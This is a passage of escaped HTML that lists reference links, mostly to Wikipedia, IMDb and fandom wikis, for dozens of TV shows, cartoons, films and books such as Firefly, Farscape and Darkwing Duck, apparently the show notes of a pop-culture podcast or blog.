class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian:_Curse_of_the_Judas_Chalice</a></p>\r\n<p>Falling Skies</p>\r\n<p><a href=\"https://fallingskies.fandom.com/wiki/Falling_Skies_Wiki\" class=\"uri\">https://fallingskies.fandom.com/wiki/Falling_Skies_Wiki</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1462059/\" class=\"uri\">https://www.imdb.com/title/tt1462059/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Falling_Skies\" class=\"uri\">https://en.wikipedia.org/wiki/Falling_Skies</a></p>\r\n<p>Sanctuary</p>\r\n<p><a href=\"https://sanctuary.fandom.com/wiki/Sanctuary\" class=\"uri\">https://sanctuary.fandom.com/wiki/Sanctuary</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Sanctuary_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Sanctuary_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0965394/\" class=\"uri\">https://www.imdb.com/title/tt0965394/</a></p>\r\n<p>How I Met Your Mother</p>\r\n<p><a href=\"https://how-i-met-your-mother.fandom.com/wiki/How_I_Met_Your_Mother\" class=\"uri\">https://how-i-met-your-mother.fandom.com/wiki/How_I_Met_Your_Mother</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0460649/\" class=\"uri\">https://www.imdb.com/title/tt0460649/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_I_Met_Your_Mother\" class=\"uri\">https://en.wikipedia.org/wiki/How_I_Met_Your_Mother</a></p>\r\n<p>Doogie Houser, MD</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Doogie_Howser,_M.D\" class=\"uri\">https://en.wikipedia.org/wiki/Doogie_Howser,_M.D</a>.</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0096569/\" class=\"uri\">https://www.imdb.com/title/tt0096569/</a></p>\r\n<p>The Wonder Years</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Wonder_Years\" class=\"uri\">https://en.wikipedia.org/wiki/The_Wonder_Years</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0094582/\" class=\"uri\">https://www.imdb.com/title/tt0094582/</a></p>\r\n<p>Defiance</p>\r\n<p><a href=\"https://defiance.fandom.com/wiki/Defiance_(TV)\" class=\"uri\">https://defiance.fandom.com/wiki/Defiance_(TV)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1034303/\" class=\"uri\">https://www.imdb.com/title/tt1034303/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Defiance_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Defiance_(TV_series)</a></p>\r\n<p>Firefly</p>\r\n<p><a href=\"https://firefly.fandom.com/wiki/Firefly\" class=\"uri\">https://firefly.fandom.com/wiki/Firefly</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Firefly_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Firefly_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0303461/\" class=\"uri\">https://www.imdb.com/title/tt0303461/</a></p>\r\n<p>KillJoys</p>\r\n<p><a href=\"https://killjoys.fandom.com/wiki/Killjoys\" class=\"uri\">https://killjoys.fandom.com/wiki/Killjoys</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt3952222/\" class=\"uri\">https://www.imdb.com/title/tt3952222/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Killjoys\" class=\"uri\">https://en.wikipedia.org/wiki/Killjoys</a></p>\r\n<p>Cowboy BeBop</p>\r\n<p><a href=\"https://cowboybebop.fandom.com/wiki/Main_Page\" class=\"uri\">https://cowboybebop.fandom.com/wiki/Main_Page</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Cowboy_Bebop\" class=\"uri\">https://en.wikipedia.org/wiki/Cowboy_Bebop</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0213338/\" class=\"uri\">https://www.imdb.com/title/tt0213338/</a></p>\r\n<p>The Orville</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Orville\" class=\"uri\">https://en.wikipedia.org/wiki/The_Orville</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt5691552/\" class=\"uri\">https://www.imdb.com/title/tt5691552/</a></p>\r\n<p>Star Trek Enterprise</p>\r\n<p><a href=\"https://memory-alpha.fandom.com/wiki/Star_Trek:_Enterprise\" class=\"uri\">https://memory-alpha.fandom.com/wiki/Star_Trek:_Enterprise</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0244365/\" class=\"uri\">https://www.imdb.com/title/tt0244365/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Trek:_Enterprise\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Trek:_Enterprise</a></p>\r\n<p>Eureka</p>\r\n<p><a href=\"https://eureka.fandom.com/wiki/Eureka_(TV_series)\" class=\"uri\">https://eureka.fandom.com/wiki/Eureka_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0796264/\" class=\"uri\">https://www.imdb.com/title/tt0796264/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Eureka_(American_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Eureka_(American_TV_series)</a></p>\r\n<p>Supernatural</p>\r\n<p><a href=\"https://supernatural.fandom.com/wiki/Supernatural_Wiki\" class=\"uri\">https://supernatural.fandom.com/wiki/Supernatural_Wiki</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0460681/\" class=\"uri\">https://www.imdb.com/title/tt0460681/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Supernatural_(American_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Supernatural_(American_TV_series)</a></p>\r\n<p>Project Hail Mary (book)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Project_Hail_Mary\" class=\"uri\">https://en.wikipedia.org/wiki/Project_Hail_Mary</a></p>\r\n<p>SETI - The Search For Extraterrestrial Intelligence</p>\r\n<p><a href=\"https://www.seti.org/\" class=\"uri\">https://www.seti.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Search_for_extraterrestrial_intelligence\" class=\"uri\">https://en.wikipedia.org/wiki/Search_for_extraterrestrial_intelligence</a></p>\r\n<p><a href=\"https://setiathome.berkeley.edu/\" class=\"uri\">https://setiathome.berkeley.edu/</a></p>\r\n<p>Red Dwarf</p>\r\n<p><a href=\"https://reddwarf.co.uk/\" class=\"uri\">https://reddwarf.co.uk/</a></p>\r\n<p><a href=\"https://reddwarf.fandom.com/wiki/Red_Dwarf\" class=\"uri\">https://reddwarf.fandom.com/wiki/Red_Dwarf</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Red_Dwarf\" class=\"uri\">https://en.wikipedia.org/wiki/Red_Dwarf</a></p>\r\n<p>Farscape</p>\r\n<p><a href=\"https://farscape.fandom.com/wiki/Farscape_Encyclopedia_Project:Main_Page\" class=\"uri\">https://farscape.fandom.com/wiki/Farscape_Encyclopedia_Project:Main_Page</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0187636/\" class=\"uri\">https://www.imdb.com/title/tt0187636/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Farscape\" class=\"uri\">https://en.wikipedia.org/wiki/Farscape</a></p>\r\n<p>Farscape: The Peacekeeper Wars</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0387736/\" class=\"uri\">https://www.imdb.com/title/tt0387736/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Farscape:_The_Peacekeeper_Wars\" class=\"uri\">https://en.wikipedia.org/wiki/Farscape:_The_Peacekeeper_Wars</a></p>\r\n<p>Deep Space 9</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0106145/\" class=\"uri\">https://www.imdb.com/title/tt0106145/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Trek:_Deep_Space_Nine\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Trek:_Deep_Space_Nine</a></p>\r\n<p><a href=\"https://memory-alpha.fandom.com/wiki/Star_Trek:_Deep_Space_Nine\" class=\"uri\">https://memory-alpha.fandom.com/wiki/Star_Trek:_Deep_Space_Nine</a></p>\r\n<p>Torchwood</p>\r\n<p><a href=\"https://tardis.fandom.com/wiki/Torchwood_(series)\" class=\"uri\">https://tardis.fandom.com/wiki/Torchwood_(series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0485301/\" class=\"uri\">https://www.imdb.com/title/tt0485301/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Torchwood\" class=\"uri\">https://en.wikipedia.org/wiki/Torchwood</a></p>\r\n<p>Robert Murray Smith - Battery Tech Youtube Channel (Bromine Fusion Reactor?)</p>\r\n<p><a href=\"https://www.youtube.com/c/RobertMurraySmith\" class=\"uri\">https://www.youtube.com/c/RobertMurraySmith</a></p>\r\n<p>Californication</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0904208/\" class=\"uri\">https://www.imdb.com/title/tt0904208/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Californication_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Californication_(TV_series)</a></p>\r\n<p>Mister Robot</p>\r\n<p><a href=\"https://mrrobot.fandom.com/wiki/Mr._Robot\" class=\"uri\">https://mrrobot.fandom.com/wiki/Mr._Robot</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt4158110/\" class=\"uri\">https://www.imdb.com/title/tt4158110/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Mr._Robot\" class=\"uri\">https://en.wikipedia.org/wiki/Mr._Robot</a></p>\r\n<p>American Gods (book and TV series)</p>\r\n<p><a href=\"https://americangods.fandom.com/wiki/American_Gods_Wiki\" class=\"uri\">https://americangods.fandom.com/wiki/American_Gods_Wiki</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/American_Gods_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/American_Gods_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1898069/\" class=\"uri\">https://www.imdb.com/title/tt1898069/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/American_Gods\" class=\"uri\">https://en.wikipedia.org/wiki/American_Gods</a></p>\r\n<p><a href=\"https://www.neilgaiman.com/works/Books/American+Gods/\" class=\"uri\">https://www.neilgaiman.com/works/Books/American+Gods/</a></p>\r\n<p>Neil Gaiman</p>\r\n<p><a href=\"https://www.neilgaiman.com/\" class=\"uri\">https://www.neilgaiman.com/</a></p>\r\n<p><a href=\"https://journal.neilgaiman.com/\" class=\"uri\">https://journal.neilgaiman.com/</a></p>\r\n<p><a href=\"https://www.mousecircus.com/\" class=\"uri\">https://www.mousecircus.com/</a></p>\r\n<p>Good Omens (book and TV series)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt1869454/\" class=\"uri\">https://www.imdb.com/title/tt1869454/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Good_Omens_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Good_Omens_(TV_series)</a></p>\r\n<p><a href=\"https://www.neilgaiman.com/works/Books/Good+Omens/\" class=\"uri\">https://www.neilgaiman.com/works/Books/Good+Omens/</a></p>\r\n<p><a href=\"https://www.terrypratchettbooks.com/books/good-omens/\" class=\"uri\">https://www.terrypratchettbooks.com/books/good-omens/</a></p>\r\n<p>The Pretender</p>\r\n<p><a href=\"https://pretender.fandom.com/wiki/The_Pretender\" class=\"uri\">https://pretender.fandom.com/wiki/The_Pretender</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0115320/\" class=\"uri\">https://www.imdb.com/title/tt0115320/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Pretender_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Pretender_(TV_series)</a></p>\r\n<p>Parker Lewis Can\'t Loose</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Parker_Lewis_Can%27t_Lose\" class=\"uri\">https://en.wikipedia.org/wiki/Parker_Lewis_Can%27t_Lose</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0098888/\" class=\"uri\">https://www.imdb.com/title/tt0098888/</a></p>\r\n<p>Ferris Bueller\'s Day Off</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0091042/\" class=\"uri\">https://www.imdb.com/title/tt0091042/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Ferris_Bueller%27s_Day_Off\" class=\"uri\">https://en.wikipedia.org/wiki/Ferris_Bueller%27s_Day_Off</a></p>\r\n<p><a href=\"https://www.inverse.com/culture/ferris-buellers-day-off-cameron-red-jersey\" class=\"uri\">https://www.inverse.com/culture/ferris-buellers-day-off-cameron-red-jersey</a></p>\r\n<p>Rock and Roll High School Forever</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0100504/\" class=\"uri\">https://www.imdb.com/title/tt0100504/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Rock_%27n%27_Roll_High_School_Forever\" class=\"uri\">https://en.wikipedia.org/wiki/Rock_%27n%27_Roll_High_School_Forever</a></p>\r\n<p>Inspector Gadget</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0085033/\" class=\"uri\">https://www.imdb.com/title/tt0085033/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt3910690/\" class=\"uri\">https://www.imdb.com/title/tt3910690/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Inspector_Gadget_(1983_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Inspector_Gadget_(1983_TV_series)</a></p>\r\n<p>Into The Badlands</p>\r\n<p><a href=\"https://www.imdb.com/title/tt3865236/\" class=\"uri\">https://www.imdb.com/title/tt3865236/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Into_the_Badlands_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Into_the_Badlands_(TV_series)</a></p>\r\n<p>Journey To The West</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Journey_to_the_West\" class=\"uri\">https://en.wikipedia.org/wiki/Journey_to_the_West</a></p>\r\n<p>Dark Crystal - Age Of Resistance (TV Show)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt6905542/\" class=\"uri\">https://www.imdb.com/title/tt6905542/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Dark_Crystal:_Age_of_Resistance\" class=\"uri\">https://en.wikipedia.org/wiki/The_Dark_Crystal:_Age_of_Resistance</a></p>\r\n<p><a href=\"https://www.syfy.com/syfy-wire/dark-crystal-age-of-resistance-netflix-lisa-henson-whats-next\" class=\"uri\">https://www.syfy.com/syfy-wire/dark-crystal-age-of-resistance-netflix-lisa-henson-whats-next</a></p>\r\n<p>Night Court</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0086770/\" class=\"uri\">https://www.imdb.com/title/tt0086770/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Night_Court\" class=\"uri\">https://en.wikipedia.org/wiki/Night_Court</a></p>\r\n<p>PBS</p>\r\n<p><a href=\"https://www.pbs.org/\" class=\"uri\">https://www.pbs.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/PBS\" class=\"uri\">https://en.wikipedia.org/wiki/PBS</a></p>\r\n<p>Metal Hurlant Chronicles</p>\r\n<p><a href=\"https://www.imdb.com/title/tt1629348/\" class=\"uri\">https://www.imdb.com/title/tt1629348/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/M%C3%A9tal_Hurlant_Chronicles\" class=\"uri\">https://en.wikipedia.org/wiki/M%C3%A9tal_Hurlant_Chronicles</a></p>\r\n<p>Metal Hurlant (comic/magazine)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/M%C3%A9tal_hurlant\" class=\"uri\">https://en.wikipedia.org/wiki/M%C3%A9tal_hurlant</a></p>\r\n<p><a href=\"https://www.openculture.com/2017/08/metal-hurlant.html\" class=\"uri\">https://www.openculture.com/2017/08/metal-hurlant.html</a></p>\r\n<p>Heavy Metal Magazine</p>\r\n<p><a href=\"https://www.heavymetal.com/\" class=\"uri\">https://www.heavymetal.com/</a></p>\r\n<p><a href=\"http://www.heavymetalmagazinefanpage.com/index.html\" class=\"uri\">http://www.heavymetalmagazinefanpage.com/index.html</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Heavy_Metal_(magazine)\" class=\"uri\">https://en.wikipedia.org/wiki/Heavy_Metal_(magazine)</a></p>\r\n<p>Heavy Metal (movie)</p>\r\n<p><a href=\"https://heavymetalmedia.fandom.com/wiki/Heavy_Metal_1981\" class=\"uri\">https://heavymetalmedia.fandom.com/wiki/Heavy_Metal_1981</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0082509/\" class=\"uri\">https://www.imdb.com/title/tt0082509/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Heavy_Metal_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/Heavy_Metal_(film)</a></p>\r\n<p>Total Recall 2070 (TV Show)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0159920/\" class=\"uri\">https://www.imdb.com/title/tt0159920/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Total_Recall_2070\" class=\"uri\">https://en.wikipedia.org/wiki/Total_Recall_2070</a></p>\r\n<p>Sapphire and Steele</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0078682/\" class=\"uri\">https://www.imdb.com/title/tt0078682/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Sapphire_%26_Steel\" class=\"uri\">https://en.wikipedia.org/wiki/Sapphire_%26_Steel</a></p>\r\n<p>Sapphire and Steel Big Finish audio drama</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Mystery_of_the_Missing_Hour\" class=\"uri\">https://en.wikipedia.org/wiki/The_Mystery_of_the_Missing_Hour</a></p>\r\n<p>Dinosaucers</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0213341/\" class=\"uri\">https://www.imdb.com/title/tt0213341/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Dinosaucers\" class=\"uri\">https://en.wikipedia.org/wiki/Dinosaucers</a></p>\r\n<p><a href=\"https://dinosaucers.fandom.com/wiki/Dinosaucers\" class=\"uri\">https://dinosaucers.fandom.com/wiki/Dinosaucers</a></p>\r\n<p>Super Ted</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0085096/\" class=\"uri\">https://www.imdb.com/title/tt0085096/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/SuperTed\" class=\"uri\">https://en.wikipedia.org/wiki/SuperTed</a></p>\r\n<p>Bravestarr</p>\r\n<p><a href=\"https://hero.fandom.com/wiki/BraveStarr\" class=\"uri\">https://hero.fandom.com/wiki/BraveStarr</a></p>\r\n<p><a href=\"https://bravestarr.fandom.com/wiki/Bravestarr_Wiki\" class=\"uri\">https://bravestarr.fandom.com/wiki/Bravestarr_Wiki</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/BraveStarr\" class=\"uri\">https://en.wikipedia.org/wiki/BraveStarr</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0127471/\" class=\"uri\">https://www.imdb.com/title/tt0127471/</a></p>\r\n<p>Denver the Last Dinosaur</p>\r\n<p><a href=\"https://zagtoon.fandom.com/wiki/Denver_the_Last_Dinosaur\" class=\"uri\">https://zagtoon.fandom.com/wiki/Denver_the_Last_Dinosaur</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0190178/\" class=\"uri\">https://www.imdb.com/title/tt0190178/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Denver,_the_Last_Dinosaur\" class=\"uri\">https://en.wikipedia.org/wiki/Denver,_the_Last_Dinosaur</a></p>\r\n<p>Mummies Alive!</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Mummies_Alive!\" class=\"uri\">https://en.wikipedia.org/wiki/Mummies_Alive!</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0125633/\" class=\"uri\">https://www.imdb.com/title/tt0125633/</a></p>\r\n<p><a href=\"https://youtu.be/AO-qRSL9nng\" class=\"uri\">https://youtu.be/AO-qRSL9nng</a></p>\r\n<p>SWAT Kats: The Radical Squadron</p>\r\n<p><a href=\"https://90scartoons.fandom.com/wiki/SWAT_Kats:_The_Radical_Squadron\" class=\"uri\">https://90scartoons.fandom.com/wiki/SWAT_Kats:_The_Radical_Squadron</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0126173/\" class=\"uri\">https://www.imdb.com/title/tt0126173/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/SWAT_Kats:_The_Radical_Squadron\" class=\"uri\">https://en.wikipedia.org/wiki/SWAT_Kats:_The_Radical_Squadron</a></p>\r\n<p><a href=\"https://www.kickstarter.com/projects/1820796125/swat-kats-revolution\" class=\"uri\">https://www.kickstarter.com/projects/1820796125/swat-kats-revolution</a> (Kickstarter to bring the series back)</p>\r\n<p>How To Train Your Dragon</p>\r\n<p><a href=\"https://www.dreamworks.com/how-to-train-your-dragon\" class=\"uri\">https://www.dreamworks.com/how-to-train-your-dragon</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0892769/\" class=\"uri\">https://www.imdb.com/title/tt0892769/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1646971/\" class=\"uri\">https://www.imdb.com/title/tt1646971/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt2386490/\" class=\"uri\">https://www.imdb.com/title/tt2386490/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon#How_to_Train_Your_Dragon_(2010)\" class=\"uri\">https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon#How_to_Train_Your_Dragon_(2010)</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon_2\" class=\"uri\">https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon_2</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon:_The_Hidden_World\" class=\"uri\">https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon:_The_Hidden_World</a></p>\r\n<p><a href=\"https://www.polygon.com/animation-cartoons/22724287/how-to-train-your-dragon-tv-show-hulu-peacock-modern-day\" class=\"uri\">https://www.polygon.com/animation-cartoons/22724287/how-to-train-your-dragon-tv-show-hulu-peacock-modern-day</a></p>\r\n<p>Dungeons &amp; Dragons Cartoon</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0085011/\" class=\"uri\">https://www.imdb.com/title/tt0085011/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Dungeons_%26_Dragons_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Dungeons_%26_Dragons_(TV_series)</a></p>\r\n<p><a href=\"https://movieweb.com/dungeons-and-dragons-80s-animated-series/\" class=\"uri\">https://movieweb.com/dungeons-and-dragons-80s-animated-series/</a></p>\r\n<p><a href=\"https://www.tor.com/2022/01/11/revisiting-the-dungeons-dragons-animated-series/\" class=\"uri\">https://www.tor.com/2022/01/11/revisiting-the-dungeons-dragons-animated-series/</a></p>\r\n<p><a href=\"https://boingboing.net/2021/07/10/fans-animate-unfinished-last-episode-of-dungeons-and-dragons-cartoon.html\" class=\"uri\">https://boingboing.net/2021/07/10/fans-animate-unfinished-last-episode-of-dungeons-and-dragons-cartoon.html</a></p>\r\n<p><a href=\"https://www.thegamer.com/dungeons-dragons-cartoon-facts/\" class=\"uri\">https://www.thegamer.com/dungeons-dragons-cartoon-facts/</a></p>\r\n<p><a href=\"https://dungeonsdragons.fandom.com/wiki/Dungeons_%26_Dragons_(TV_series)\" class=\"uri\">https://dungeonsdragons.fandom.com/wiki/Dungeons_%26_Dragons_(TV_series)</a></p>\r\n<p><a href=\"https://en.wikiquote.org/wiki/Dungeons_%26_Dragons_(TV_series)\" class=\"uri\">https://en.wikiquote.org/wiki/Dungeons_%26_Dragons_(TV_series)</a></p>\r\n<p>Chip and Dale Rescue Rangers (TV cartoon &amp; Movie)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0096557/\" class=\"uri\">https://www.imdb.com/title/tt0096557/</a></p>\r\n<p><a href=\"https://youtu.be/Y5feVNIkX-I\" class=\"uri\">https://youtu.be/Y5feVNIkX-I</a></p>\r\n<p><a href=\"https://disney.fandom.com/wiki/Chip_%27n_Dale_Rescue_Rangers_(film)\" class=\"uri\">https://disney.fandom.com/wiki/Chip_%27n_Dale_Rescue_Rangers_(film)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt3513500/\" class=\"uri\">https://www.imdb.com/title/tt3513500/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Chip_%27n_Dale:_Rescue_Rangers_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/Chip_%27n_Dale:_Rescue_Rangers_(film)</a></p>\r\n<p>Dark Wing Duck</p>\r\n<p><a href=\"https://disney.fandom.com/wiki/Darkwing_Duck\" class=\"uri\">https://disney.fandom.com/wiki/Darkwing_Duck</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0101076/\" class=\"uri\">https://www.imdb.com/title/tt0101076/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Darkwing_Duck\" class=\"uri\">https://en.wikipedia.org/wiki/Darkwing_Duck</a></p>\r\n<p><a href=\"https://variety.com/2020/tv/news/darkwing-duck-reboot-disney-plus-1234830283/\" class=\"uri\">https://variety.com/2020/tv/news/darkwing-duck-reboot-disney-plus-1234830283/</a></p>\r\n<p>Tale Spin</p>\r\n<p><a href=\"https://disney.fandom.com/wiki/TaleSpin\" class=\"uri\">https://disney.fandom.com/wiki/TaleSpin</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/TaleSpin\" class=\"uri\">https://en.wikipedia.org/wiki/TaleSpin</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0098924/\" class=\"uri\">https://www.imdb.com/title/tt0098924/</a></p>\r\n<p>The Octonauts</p>\r\n<p><a href=\"https://www.imdb.com/title/tt1710177/\" class=\"uri\">https://www.imdb.com/title/tt1710177/</a></p>\r\n<p><a href=\"https://www.bbc.co.uk/iplayer/episodes/b00xhyjf/octonauts\" class=\"uri\">https://www.bbc.co.uk/iplayer/episodes/b00xhyjf/octonauts</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Octonauts\" class=\"uri\">https://en.wikipedia.org/wiki/Octonauts</a></p>\r\n<p>Aquanauts</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0053481/\" class=\"uri\">https://www.imdb.com/title/tt0053481/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0257292/\" class=\"uri\">https://www.imdb.com/title/tt0257292/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Aquanauts\" class=\"uri\">https://en.wikipedia.org/wiki/The_Aquanauts</a></p>\r\n<p>Woody Woodpecker</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Woody_Woodpecker_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Woody_Woodpecker_Show</a></p>\r\n<p><a href=\"https://unitedparamountnetworkupn.fandom.com/wiki/The_Woody_Woodpecker_Show\" class=\"uri\">https://unitedparamountnetworkupn.fandom.com/wiki/The_Woody_Woodpecker_Show</a></p>\r\n<p><a href=\"https://youtu.be/Q4uIdPOpen8\" class=\"uri\">https://youtu.be/Q4uIdPOpen8</a></p>\r\n<p>Donald Duck Gets Discharged from the Military</p>\r\n<p><a href=\"https://www.portablepress.com/blog/2017/05/donald-duck-trivia/\" class=\"uri\">https://www.portablepress.com/blog/2017/05/donald-duck-trivia/</a></p>\r\n<p>GizmoDuck</p>\r\n<p><a href=\"https://scrooge-mcduck.fandom.com/wiki/Gizmoduck\" class=\"uri\">https://scrooge-mcduck.fandom.com/wiki/Gizmoduck</a></p>\r\n<p>Donald Duck has PTSD</p>\r\n<p><a href=\"https://cartoonoveranalyzations.wordpress.com/2009/02/20/diagnosis-donald-duck-suffers-from-ptsd/\" class=\"uri\">https://cartoonoveranalyzations.wordpress.com/2009/02/20/diagnosis-donald-duck-suffers-from-ptsd/</a></p>\r\n<p><a href=\"https://youtu.be/ehy7Mq7SP80\" class=\"uri\">https://youtu.be/ehy7Mq7SP80</a></p>\r\n<p>Voltron</p>\r\n<p><a href=\"https://www.imdb.com/title/tt5580664/\" class=\"uri\">https://www.imdb.com/title/tt5580664/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Voltron\" class=\"uri\">https://en.wikipedia.org/wiki/Voltron</a></p>\r\n<p><a href=\"https://voltron.com/\" class=\"uri\">https://voltron.com/</a></p>\r\n<p>Rin Tin Tin / Adventures of Tin Tin</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Rin_Tin_Tin\" class=\"uri\">https://en.wikipedia.org/wiki/Rin_Tin_Tin</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Adventures_of_Rin_Tin_Tin\" class=\"uri\">https://en.wikipedia.org/wiki/The_Adventures_of_Rin_Tin_Tin</a></p>\r\n<p><a href=\"https://www.imdb.com/name/nm0863833/\" class=\"uri\">https://www.imdb.com/name/nm0863833/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0046576/\" class=\"uri\">https://www.imdb.com/title/tt0046576/</a></p>\r\n<p><a href=\"https://americacomesalive.com/the-story-of-rin-tin-tin-2/\" class=\"uri\">https://americacomesalive.com/the-story-of-rin-tin-tin-2/</a></p>\r\n<p>Heinz 57</p>\r\n<p><a 